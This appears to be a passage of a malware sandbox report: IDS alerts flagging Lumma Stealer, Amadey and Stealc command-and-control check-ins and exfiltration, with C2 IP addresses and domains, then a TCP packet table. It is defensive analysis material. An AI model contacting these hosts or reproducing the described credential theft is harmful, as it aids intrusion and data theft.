2024-10-24T04:57:12.476175+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49714	104.21.53.8	443	TCP
2024-10-24T04:57:17.758349+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49743	104.21.53.8	443	TCP
2024-10-24T04:57:18.975903+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	49753	104.21.53.8	443	TCP
2024-10-24T04:57:21.725429+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49767	104.21.53.8	443	TCP
2024-10-24T04:58:05.231167+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49774	185.215.113.16	80	TCP
2024-10-24T04:58:05.822529+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	49993	185.215.113.43	80	TCP
2024-10-24T04:58:08.947261+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49995	185.215.113.37	80	TCP
2024-10-24T04:58:09.172132+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49996	185.215.113.16	80	TCP
2024-10-24T04:58:16.740631+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	51007	1.1.1.1	53	UDP
2024-10-24T04:58:16.753870+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	60296	1.1.1.1	53	UDP
2024-10-24T04:58:16.766662+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	63559	1.1.1.1	53	UDP
2024-10-24T04:58:16.778685+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	52330	1.1.1.1	53	UDP
2024-10-24T04:58:16.795079+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	49666	1.1.1.1	53	UDP
2024-10-24T04:58:16.808564+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	54090	1.1.1.1	53	UDP
2024-10-24T04:58:16.819931+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	53629	1.1.1.1	53	UDP
2024-10-24T04:58:16.833875+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	53903	1.1.1.1	53	UDP
2024-10-24T04:58:17.634361+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	49994	TCP
2024-10-24T04:58:18.405725+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49997	104.102.49.254	443	TCP
2024-10-24T04:58:18.560657+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	49998	185.215.113.43	80	TCP
2024-10-24T04:58:19.295108+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49999	104.21.53.8	443	TCP
2024-10-24T04:58:19.295108+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49999	104.21.53.8	443	TCP
2024-10-24T04:58:19.471828+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50000	185.215.113.16	80	TCP
2024-10-24T04:58:20.433853+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T04:58:20.433853+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50002	104.21.53.8	443	TCP
2024-10-24T04:58:22.083525+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50003	104.21.53.8	443	TCP
2024-10-24T04:58:27.810388+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50007	185.215.113.43	80	TCP
2024-10-24T04:58:29.115839+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50008	185.215.113.16	80	TCP
2024-10-24T04:58:29.399351+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50010	104.21.53.8	443	TCP
2024-10-24T04:58:29.597552+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50009	185.215.113.37	80	TCP
2024-10-24T04:58:32.356931+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	61430	1.1.1.1	53	UDP
2024-10-24T04:58:32.372991+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	56172	1.1.1.1	53	UDP
2024-10-24T04:58:32.385743+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	54802	1.1.1.1	53	UDP
2024-10-24T04:58:32.419425+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	65410	1.1.1.1	53	UDP
2024-10-24T04:58:32.435087+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	51188	1.1.1.1	53	UDP
2024-10-24T04:58:32.445716+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	59700	1.1.1.1	53	UDP
2024-10-24T04:58:32.458316+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	58762	1.1.1.1	53	UDP
2024-10-24T04:58:32.469320+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	63847	1.1.1.1	53	UDP
2024-10-24T04:58:32.581622+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50011	104.21.53.8	443	TCP
2024-10-24T04:58:33.983335+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	50012	104.102.49.254	443	TCP
2024-10-24T04:58:34.846855+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	50014	104.21.53.8	443	TCP
2024-10-24T04:58:34.846855+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50014	104.21.53.8	443	TCP
2024-10-24T04:58:35.927405+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	50015	104.21.53.8	443	TCP
2024-10-24T04:58:35.927405+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50015	104.21.53.8	443	TCP
2024-10-24T04:58:36.158483+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50016	185.215.113.43	80	TCP
2024-10-24T04:58:37.087797+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50017	185.215.113.16	80	TCP
2024-10-24T04:58:37.087797+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50017	185.215.113.16	80	TCP
2024-10-24T04:58:40.572681+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50026	185.215.113.37	80	TCP
2024-10-24T04:58:42.129506+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50028	185.215.113.43	80	TCP
2024-10-24T04:58:46.034552+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50013	185.215.113.16	80	TCP
2024-10-24T04:58:51.448295+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50041	185.215.113.37	80	TCP
2024-10-24T04:58:51.729558+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	50042	104.21.53.8	443	TCP
2024-10-24T04:58:53.827193+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	50044	104.21.53.8	443	TCP
2024-10-24T04:58:59.669942+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50052	185.215.113.37	80	TCP
2024-10-24T04:59:04.997240+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.6	60413	1.1.1.1	53	UDP
2024-10-24T04:59:05.016675+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	58339	1.1.1.1	53	UDP
2024-10-24T04:59:05.084447+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.6	58339	1.1.1.1	53	UDP
2024-10-24T04:59:05.264656+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.6	61578	1.1.1.1	53	UDP
2024-10-24T04:59:05.304604+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	53985	1.1.1.1	53	UDP
2024-10-24T04:59:05.354566+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.6	53985	1.1.1.1	53	UDP
2024-10-24T04:59:05.371554+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.6	59706	1.1.1.1	53	UDP
2024-10-24T04:59:05.387426+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	49276	1.1.1.1	53	UDP
2024-10-24T04:59:05.413760+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.6	49276	1.1.1.1	53	UDP
2024-10-24T04:59:05.417274+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.6	53415	1.1.1.1	53	UDP
2024-10-24T04:59:05.433656+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.6	61936	1.1.1.1	53	UDP
2024-10-24T04:59:06.118181+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	50047	185.215.113.16	80	TCP
2024-10-24T04:59:06.903808+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	59424	104.102.49.254	443	TCP
2024-10-24T04:59:07.843928+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	59427	104.21.53.8	443	TCP
2024-10-24T04:59:07.843928+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	59427	104.21.53.8	443	TCP
2024-10-24T04:59:08.110224+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	59425	185.215.113.37	80	TCP
2024-10-24T04:59:09.503006+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	59429	104.21.53.8	443	TCP
2024-10-24T04:59:09.503006+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	59429	104.21.53.8	443	TCP
2024-10-24T04:59:09.628553+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	59428	185.215.113.37	80	TCP
2024-10-24T04:59:14.205575+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	59436	104.21.53.8	443	TCP
2024-10-24T04:59:14.467641+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	59437	185.215.113.37	80	TCP
2024-10-24T04:59:15.810174+0200	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.6	59438	104.21.53.8	443	TCP
2024-10-24T04:59:16.822285+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	59439	104.21.53.8	443	TCP
2024-10-24T04:59:25.335598+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	59440	185.215.113.16	80	TCP
2024-10-24T04:59:26.851091+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	59442	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 04:57:08.720617056 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:08.720701933 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:08.720846891 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:08.724045992 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:08.724085093 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:09.581734896 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:09.581883907 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:09.598351002 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:09.598429918 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:09.598814011 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:09.642713070 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:09.650538921 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:09.691359043 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.263262987 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.263339996 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.263417959 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.263437986 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.263475895 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.263483047 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.263494968 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.263513088 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.263529062 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.263545036 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.263552904 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.314857960 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.382145882 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382184029 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382226944 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382252932 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.382292986 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382304907 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.382304907 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.382348061 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382416964 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.382467031 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382546902 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.382750988 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382813931 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.382831097 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382891893 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.382952929 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.383783102 CEST	49711	443	192.168.2.6	104.102.49.254
Oct 24, 2024 04:57:10.383804083 CEST	443	49711	104.102.49.254	192.168.2.6
Oct 24, 2024 04:57:10.397840023 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:10.397860050 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:10.397944927 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:10.398340940 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:10.398360014 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.031991959 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.032143116 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.034281969 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.034291983 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.034712076 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.036097050 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.036133051 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.036180019 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.173700094 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.173846960 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.173983097 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.174050093 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.174072027 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.174102068 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.174173117 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.174302101 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.174523115 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.174524069 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.174524069 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.296514034 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.296597004 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.296694040 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.297032118 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.297084093 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.486552954 CEST	49713	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.486614943 CEST	443	49713	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.927130938 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.927263021 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.945611000 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.945662975 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.946619034 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:11.948331118 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.948374033 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:11.948528051 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476272106 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476452112 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476531982 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476619959 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476687908 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.476687908 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.476705074 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476756096 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476809978 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.476829052 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.476942062 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.477147102 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.477210045 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.517862082 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.595081091 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.595258951 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.595369101 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.595453024 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.595453978 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.595529079 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.595571995 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.595714092 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.595890999 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.595974922 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.595974922 CEST	49714	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.596019030 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.596102953 CEST	443	49714	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.739829063 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.739846945 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:12.739907980 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.740358114 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:12.740379095 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.361968994 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.362082005 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.363589048 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.363610983 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.363915920 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.365166903 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.365314960 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.365358114 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.758760929 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.758887053 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.758956909 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.759048939 CEST	49719	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.759072065 CEST	443	49719	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.898149967 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.898183107 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:13.898255110 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.898688078 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:13.898700953 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.509780884 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.509855032 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:14.511137962 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:14.511142969 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.511473894 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.512658119 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:14.512783051 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:14.512814045 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.513020992 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:14.513025999 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.923799992 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.923949003 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:14.924019098 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:14.926137924 CEST	49727	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:14.926172972 CEST	443	49727	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:15.183633089 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.183718920 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:15.183990955 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.184380054 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.184489965 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:15.790189028 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:15.790328026 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.791527987 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.791582108 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:15.791949987 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:15.793625116 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.793625116 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.793723106 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:15.793817043 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:15.793850899 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:16.315278053 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:16.315417051 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:16.315498114 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:16.315674067 CEST	49733	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:16.315695047 CEST	443	49733	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:16.630733967 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:16.630783081 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:16.630871058 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:16.631218910 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:16.631242990 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:17.243046045 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:17.243273973 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:17.244501114 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:17.244554996 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:17.244926929 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:17.246285915 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:17.246285915 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:17.246378899 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:17.758352041 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:17.758467913 CEST	443	49743	104.21.53.8	192.168.2.6
Oct 24, 2024 04:57:17.758641005 CEST	49743	443	192.168.2.6	104.21.53.8
Oct 24, 2024 04:57:17.758724928 CEST	49743	443	192.168.2.6	104.21.53.8
